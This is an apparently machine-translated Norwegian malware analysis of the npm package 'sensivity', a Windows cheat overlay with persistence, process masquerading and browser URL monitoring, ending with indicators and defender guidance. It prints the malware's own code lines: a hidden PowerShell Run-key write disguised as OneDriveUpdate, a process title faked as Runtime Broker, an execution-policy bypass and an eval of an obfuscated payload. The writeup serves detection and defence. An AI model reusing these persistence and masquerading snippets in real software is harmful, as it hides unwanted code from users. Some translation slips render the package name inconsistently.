TL; DR
npm-pakken følsomhet beskriver seg selv som et «følsomhetskontrollpanel». På Windows fungerer det som et fjernkontroll- og overvåkingsverktøy.
Dens inngangspunkt, launcher.js, endrer navn på sin egen prosess til Runtime Broker, skriver en automatisk start-kjørenøkkelverdi med navnet OneDriveUpdate som starter pakken på nytt gjennom et skjult VBScript, starter PowerShell med -ExecutionPolicy Bypass, og evaluerer deretter en obfuskert servernyttelast på 171 KB sammen med en innebygd modul på 6.87 MB, sens.node.
Den betjener et kontrollpanel for telefonparing på TCP-port 3000 og leser URL-adressen i adressefeltet til den aktive nettleseren via Windows UIAutomation, og ser etter én hardkodet YouTube-video.
To deler som tidligere ble tolket som svarte bokser er nå løst. Den obfuskerte serveren, server.obf.js, bruker et obfuscator.io RC4 streng-array-skjema; reimplementering av dekoderen offline (ingen JavaScript kjørt) gjenoppretter et enkelt eksternt endepunkt — https://izopi.com/check.php – sammen med en innebygd offentlig RSA-nøkkel som brukes til å bekrefte signerte lisenssvar.
Den innebygde modulen, sens.node, er ikke pakket: importtabellen og de innebygde strengene identifiserer den som et DirectX 11 / Dear ImGui-spilloverlegg som tilbyr aimbot-, ESP (wall-hack) og triggerbot-funksjoner, drevet av ekstern prosessinjeksjon og minnelesing/-skriving.
Strenger inni den refererer til kjøretøyenheter og kartplasseringer som er i samsvar med GTA V / FiveM. npm-pakken er leverings- og persistenspakken rundt den native modulen.
Det definerende signalet er operasjonelt, ikke teknisk: en enkelt anonym utgiver publiserte omtrent sytti versjoner av én pakke – 2.5.0 gjennom 2.5.69 — over noen dager, hver med samme utskyter.
Det finnes ingen installasjoner hooksNyttelasten kjører bare når pakken startes.
Angrepet: Hvordan det fungerer
sensivity sender ti filer. package.json er sparsom: intet repository-felt, ingen lisens, et hoved- og to bin-aliaser (sensivity, sens) som alle peker mot launcher.js, og et startskript for noden launcher.js. Det finnes ingen postinstall eller preinstall. Ingenting utløses ved npm-installasjon. Virkemåten beskrevet nedenfor kjører når en bruker starter pakken – via bin-shim, startskriptet eller et krav.
Tarballen inneholder launcheren, en obfuskert server, den opprinnelige modulen, et Visual Basic-skript og en public/web-katalog for kontrollpanelet. launcher.js er den lesbare orkestratoren; logikken som betyr noe under kjøring ligger i de to blobene den laster – en obfuskert server og en kompilert opprinnelig modul, begge løst nedenfor.
Prosessmaskering og en falsk OneDrive-oppdatering
Tidlig i kjøringen angir launcher.js sitt eget prosessnavn to ganger:
javascript process.title = 'Runtime Broker'; Runtime Broker er en legitim Windows-prosess (RuntimeBroker.exe) som formidler apptillatelser. Å gi en Node-prosess nytt navn slik at den samsvarer med den betyr at et raskt blikk på Oppgavebehandling ikke viser noe uvanlig.
Persistence skrives via PowerShell i stedet for et direkte register-API:
javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); Autostartverdien heter OneDriveUpdate, og den peker ikke direkte mot pakken. Den peker mot wscript.exe som kjører den medfølgende OneDrive.Standalone.Updater.vbs. Skriptet starter node launcher.js på nytt i et skjult vindu. Både Run-tasten og VBScript-filnavnet låner Microsoft-merkevarebygging, slik at autostartoppføringen leses som en rutinemessig OneDrive-oppgave.
PowerShell med omgåelse av utførelsespolicy
Startprogrammet sender gjentatte ganger meldinger til PowerShell. Sink-en som skannere flagger som kritisk er oppstarten av en generert .ps1 med utførelsespolicyen deaktivert:
javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); ExecutionPolicy Bypass fjerner den lokale skriptsigneringskontrollen for den påkallingen. De genererte skriptene håndterer nettleserovervåkingen og vindusdeteksjonsarbeidet som er beskrevet i neste avsnitt.
Den obfuskerte serveren og den innebygde modulen
Etter oppsettet laster og kjører launcher.js sin virkelige nyttelast:
const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8')); server.obf.js er 171 KB med _0x-array obfuscation – JavaScript-mønsteret der hver streng og identifikator erstattes av en indeks i en omstokket array, og deretter de-refereres ved kjøretid. Skjemaet er RC4-varianten produsert av obfuscator.io: en enkelt dekoderfunksjon base64-dekoder en arrayoppføring og RC4-dekrypterer den deretter med en nøkkel per-call. Å implementere dekoderen på nytt i et separat skript – å bare kjøre reimplementeringen over den uttrukne strengarrayen med 821 oppføringer, aldri pakkens eget JavaScript – avvikler det rent. Det som dukker opp er beskjedent, men decisive: én ekstern URL, https://izopi.com/check.php`, tilordnet en LICENSE_URL-konstant; en innebygd RSA PUBLIC_KEY_PEM`; det lokale panelet ruter /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off og /trigger/status; og strengene child_process, crypto og [Sensivity] sens.node loaded — den siste er den nøyaktige logglinjen som starteren omskriver til programmodulen loaded. Endepunktet er en lisenssjekk: klienten legger ut en identifikator (den obfuskerte serveren formaterer en Discord ID: %s-streng) og RSA-nøkkelen verifiserer serverens signerte svar.
sens.node er et kompilert native tillegg på 6.87 MB, og det er ikke pakket – seksjonsentropien ligger på 5.6–6.6, og PE-import- og eksporttabellene er intakte, så funksjonene kan leses direkte. Den eksporterer napi_register_module_v1, standard Node N-API-inngangspunkt, slik at den evaluerte serveren laster den inn med et vanlig krav. Importtabellen er tell-en. Fra KERNEL32 henter den OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules og Process32First/NextW – det kanoniske settet for å finne en annen prosess, allokere minne i den og lese eller skrive til det minnet. Fra USER32 henter den GetAsyncKeyState, GetKeyState, mouse_event og SetCursorPos; den kobler d3d11.dll, D3DCOMPILER_43 og dwmapi for et overlegg på skjermen, og hele WINHTTP-settet for nettverkskall. De innebygde strengene navngir funksjonssettet uten tvetydighet: Aktiver Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat detected og Dear ImGui-banneret Dear ImGui 1.91.3 WIP. Plasserings- og enhetsstrenger som Grapeseed Medical Clinic og vehicle-ESP-vokabularet er konsistente med GTA V / FiveM.
Delingen er i praksis bevisst: den lesbare launcher.js-filen inneholder bare de delene en skanner leser enkelt – persistens, maskerade, selve eval-kallet – mens obfuskeringen skjuler den ene eksterne verten som kjøretidskontaktene er, og binærfilen inneholder spilloverlegget og prosessinjeksjonslogikken. Launcheren er det tynne, reviderbare skallet; den obfuskerte serveren skjuler nettverksidentiteten; den native modulen er nyttelasten. Vi beskriver binærfilens importer og strenger som lest; vi utleder ikke operatorens formål fra dem.
Et kontrollpanel for telefonparing på port 3000
Starteren administrerer en lokal webserver på TCP-port 3000 og behandler den som en singleton. Den spør etter en eksisterende lytter og fjerner den før binding:
javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); Panelet kan nås på http://localhost:3000, med en hardkodet LAN-reserve-URL på http://192.168.1.16:3000. Public/-katalogen og panelets oppførsel er i samsvar med en QR-paringsflyt: en telefon skanner en kode og binder seg til verten som en fjernkontroll. Ingen eksterne kommando-og-kontroll-domener vises i klartekst i oppstartsprogrammet – men som deobfuskeringen ovenfor viser, finnes det et på den obfuskerte serveren: izopi.com-lisensendepunktet. Selve panelet er lokalt og LAN-omfattet; den eneste utgående verten er den lisensjekken.
En frakoblet supervisor/worker-modell holder prosessen i live. Starteren starter seg selv på nytt med SENSIVITY_SUPERVISOR- og SENSIVITY_WORKER-miljøflagg, der hvert barn kjører skjult, så hvis du dreper én prosess, blir det igjen en watchdog som starter den på nytt.
Nettleserovervåking og YouTube-signalet
Den mest spesifikke oppførselen er nettleserovervåking. launcher.js bygger PowerShell som driver Windows UIAutomation til å lese adressefeltet til en kjørende nettleser:
javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', ValuePattern returnerer tekstinnholdet i et UI-element. Når den brukes på en nettlesers redigeringskontroll for adressefeltet, returnerer den URL-en offeret ser på for øyeblikket – uten en nettleserutvidelse, uten å berøre profilen på disken og uten en API-hook. Det genererte skriptet itererer en $browserNames-liste og trekker ut URL-en eller vindustittelen til den nettleseren som er i forgrunnen.
Den URL-en testes mot et enkelt hardkodet mål:
javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; Startprogrammet sender en avstemning i en tre sekunders løkke for et nettleservindu som viser YouTube, og den genererte PowerShell-en har et Get-YouTubeBrowser / Test-TargetYouTubeUrl-par som samsvarer med den video-ID-en. Den observerbare effekten er todelt: den aktive nettleser-URL-en leses av offerets skjerm, og vertens interaksjon med én spesifikk YouTube-video oppdages. Vi beskriver mekanismen og målet; vi utleder ikke et motiv fra dem.
Adressefeltlesningen er det skanneren kaller sensitive_data_enumeration – en Process::env- og UIAutomation-kilde som mater en nettverkskompatibel kjøretidsenhet. Den ser isolert sett godartet ut og blir bare overvåket når datalivssyklusen er sporet fra UIAutomation-kilden til den obfuskerte serveren.
Tidslinje og versjonsutvikling
Sensivity er ikke en engangsopplasting. Utgiverkontoen har omtrent sytti publiserte versjoner av denne ene pakken, og nye fortsatte å komme i løpet av gjennomgangsvinduet. Launcheren vokser funksjon for funksjon på tvers av 2.5.x-linjen, mens dens persistens og nyttelasting forblir fast.
| Dato (UTC) | Observerte versjoner | Status for oppstartsprogrammet |
|---|---|---|
| 2026-06-02 | 2.5.8 - 2.5.46 (25) | Grunnleggende QR-panelstarter; vedvarende kjørenøkkel; evaluering av obfuskert server. |
| 2026-06-03 | 2.5.53 - 2.5.61 (6) | Samme fingeravtrykk; undertrykkelse av konsollspor. |
| 2026-06-04 | 2.5.67, 2.5.68 (2) | Legger til festet YouTube-engasjementsmål wJWta2lO0Lw. |
| 2026-06-05 | 2.5.0 - 2.5.69 (24) | Gapfyllende republisering på tvers av spekteret; veileder/arbeidervaktbikkje. |
Lesing av starteren på tvers av nedlastede representanter – 2.5.0, 2.5.36 og 2.5.69 – viser fire nivåer. De tidligste versjonene har den grunnleggende QR-paringsstarteren. Fra 2.5.33 vises UIAutomation-adressefelthøsteren. Fra 2.5.58 legges et supervisor-administrasjonslag til. Fra 2.5.64 fullfører den frakoblede supervisor/worker-watchdog settet. Gjennom hele prosessen endres fire ting aldri: OneDriveUpdate Run-nøkkelen, OneDrive.Standalone.Updater.vbs-dropperen, den evaluerte server.obf.js og den innebygde modulen sens.node.
2026-06-05-bølgen er bemerkelsesverdig fordi den republiserte de lave versjonsnumrene – 2.5.0 til 2.5.15 – som ligger under versjonene som ble bekreftet dager tidligere. Effekten er en sammenhengende 2.5.x-linje i registeret, der hver versjon har samme oppstartsprogram.
Indikatorer for kompromiss
Alle indikatorene nedenfor ble lest direkte fra pakkens tarball. Den lesbare oppstartsprogrammet har bare loopback og én privat LAN-adresse; det ene eksterne vertsnavnet, izopi.com, ble gjenopprettet ved å deobfusere server.obf.js offline.
| typen | Indikator | Merknader |
|---|---|---|
| Pakke | npm:sensivity (≈70 versjoner, 2.5.0-2.5.69) | Utgiver i én pakke; intet arkiv; ulisensiert. |
| filet | launcher.js | Lesbar orkestrator; hoved- og bin-mål. |
| filet | server.obf.js (≈171 KB) | obfuscator.io RC4 strengarray-nyttelast, lastet via eval(fs.readFileSync(...)). |
| filet | sens.node (≈6.87 MB) | PE32+ x86-64 Node N-API-tillegg; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40. |
| filet | OneDrive.Standalone.Updater.vbs | Skjult relansering (node launcher.js). |
| Network | https://izopi.com/check.php | Lisens-/autentiseringsendepunkt gjenopprettet fra den obfuskerte serveren; innebygd offentlig RSA-nøkkel verifiserer svar. |
| Capability | OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread | Fjernprosessinjeksjon og lese-/skrivefunksjon for minne. |
| Capability | Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP | DirectX 11 / ImGui-spilloverlegg som implementerer aimbot-, ESP- og triggerbot-funksjoner. |
| registret | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate | Autostartverdi peker på wscript.exe og VBScript-oppstartsprogrammet. |
| Prosess | process.title = 'Runtime Broker' | Utgir seg for å være den legitime Windows Runtime Broker-prosessen. |
| Behavioral | powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 | Omgåelse av utførelsespolicy brukt for genererte PowerShell-skript. |
| Behavioral | UIAutomation ValuePattern lesing av nettleserens adressefelt | Leser URL-en til nettleservinduet i forgrunnen. |
| Behavioral | Målvideo-ID wJWta2lO0Lw3 sekunders YouTube-avstemning | Festet signal for engasjementsovervåking. |
| Network | http://localhost:3000, reserve http://192.168.1.16:3000 | QR-paringskontrollpanel eksponert lokalt og på LAN. |
| Miljø | SENSIVITY_SUPERVISOR, SENSIVITY_WORKER | Flagg for koordinering av frittstående vaktbikkjeprosess. |
Attribusjon, innvirkning og forsvarere
Pakken publiseres av én npm-konto der den oppgitte e-postadressen er en ubekreftet Gmail-adresse. Kontoen har en svært negativ registeromdømmescore, vedlikeholder og publiserer bare denne ene pakken, og har ikke noe lenket kildelager. Vi har ikke bekreftet eierskapet til e-postadressen, og vi tilskriver kampanjen til utgiverkontoen, ikke til noen navngitt person. Startprogrammet har ingen klartekstinfrastruktur, men den ene eksterne verten er nå kjent: den obfuskerte serveren kontakter izopi.com for en lisenssjekk, og den opprinnelige modulen – lest fra importtabellen og strengene i stedet for reversert instruksjon-for-instruksjon – er et spilloverlegg som injiserer inn i og leser minnet til en annen prosess.
Den observerbare effekten rammer Windows-brukere som installerer og kjører sensitivity i forventning om et kontrollpanelverktøy. På disse vertene etablerer pakken autostart-persistens forkledd som en OneDrive-oppgave, endrer navn for å etterligne en systemprosess, leser URL-en til det brukeren surfer på, og oppretter et paringspanel som binder maskinen til en fjernkontroll over det lokale nettverket. Overvåkningshunden for overvåker/arbeider betyr at en enkelt prosessavslutning ikke fjerner den; Run-tasten overlever omstarter. macOS og Linux er ikke målrettet av starteren – persistens-, PowerShell- og UIAutomation-banene er kun for Windows.
Utskiftingen av sytti versjoner er trenden det er verdt å markere. Å publisere én pakke på nytt dusinvis av ganger i løpet av noen få dager, inkludert å fylle ut versjonsnumre under de som allerede er fjernet, beholder en aktiv kopi i registeret mellom fjerninger og frustrerer versjonsfestede blokkeringslister. En blokkeringslisteoppføring for sensitivity@2.5.61 gjør ingenting mot at sensitivity@2.5.3 publiseres på nytt dagen etter.
Forsvarere kan handle ut fra følgende:
- Blokker pakkenavnfølsomheten fullstendig i register-proxy og CI-tillatelseslister. Å feste individuelle versjoner går tapt for publiseringskadensen; navnet er den varige indikatoren.
- Søk etter en Run-verdi kalt OneDriveUpdate der dataene kaller wscript.exe mot en .vbs i en brukerspesifikk bane. Den ekte OneDrive-oppdateringen er ikke registrert på denne måten.
- Varsel om en Node.js-prosess der process.title er Runtime Broker. Den virkelige megleren er RuntimeBroker.exe, ikke en Node-kjøretidsprosess.
- Flagg npm-hentinger ved installasjonstid av pakker som sender et kompilert .node-tillegg pluss en eval(fs.readFileSync(…)) av en sidestilt .obf.js-fil. Denne sammenkoblingen – ugjennomsiktig, native binærfil lastet ved siden av en obfuskert tekstnyttelast – er den strukturelle indikatoren her, uavhengig av eventuelle streng-IOC.
- Behandle enhver lokalt bundet lytter på port 3000 som er opprettet av en uventet nodeprosess som mistenkelig på administrerte Windows-endepunkter.
- Blokker eller varsle om utgående forespørsler til izopi.com fra utviklere eller sluttbrukere; det er pakkens eneste eksterne endepunkt, som nås på /check.php fra den obfuskerte serveren.
- For alle medfølgende .node-tillegg, sjekk importtabellen før du stoler på det. Kombinasjonen OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread er ekstern prosessinjeksjon uavhengig av hva pakken hevder å gjøre; her sitter den ved siden av et Direct3D-overlegg og aimbot/ESP/triggerbot-strenger.
For statisk analyse pipelines, overbevisningsformen er holdbar på tvers av versjonsskiftet: en ikke-nettverksbasert installasjonsprofil, en prosesstitteltildeling til et kjent systemprosessnavn, en Run-key-skriving via PowerShell og en evaluering av en fil lest fra disk. Ingen av disse er avhengige av et domene, en IP-adresse eller et versjonsnummer som neste republisering kan rotere bort.
Referanser
[npm: følsomhet] – registerside for pakkeversjonslinjen som er omtalt her; kan bli fjernet.





